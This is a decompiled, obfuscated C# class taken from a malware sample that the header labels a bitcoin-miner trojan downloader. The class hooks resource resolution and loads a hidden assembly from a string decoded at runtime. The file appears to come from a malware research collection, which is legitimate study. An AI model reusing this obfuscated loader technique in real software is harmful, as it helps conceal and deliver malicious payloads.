// Decompiled with JetBrains decompiler
// Type: .2
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe

using \u0006;
using \u000E;
using System;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0006
{
  internal sealed class \u00062
  {
    private static Assembly \u0001 = (Assembly) null;
    private static string[] \u0002 = new string[0];

    internal static void \u0089()
    {
      try
      {
        AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u00062.\u0089);
      }
      catch (Exception ex)
      {
      }
    }

    internal static Assembly \u0089([In] object obj0, [In] ResolveEventArgs obj1)
    {
      if ((object) \u00062.\u0001 == null)
      {
        lock (\u00062.\u0002)
        {
          \u00062.\u0001 = Assembly.Load(\u0008.\u000E\u0003(69));
          if ((object) \u00062.\u0001 != null)
            \u00062.\u0002 = \u00062.\u0001.GetManifestResourceNames();
        }
      }
      string name = obj1.Name;
      for (int index = 0; index < \u00062.\u0002.Length; ++index)
      {
        if (\u00062.\u0002[index] == name)
          return \u00062.\u0001;
      }
      return (Assembly) null;
    }
  }
}
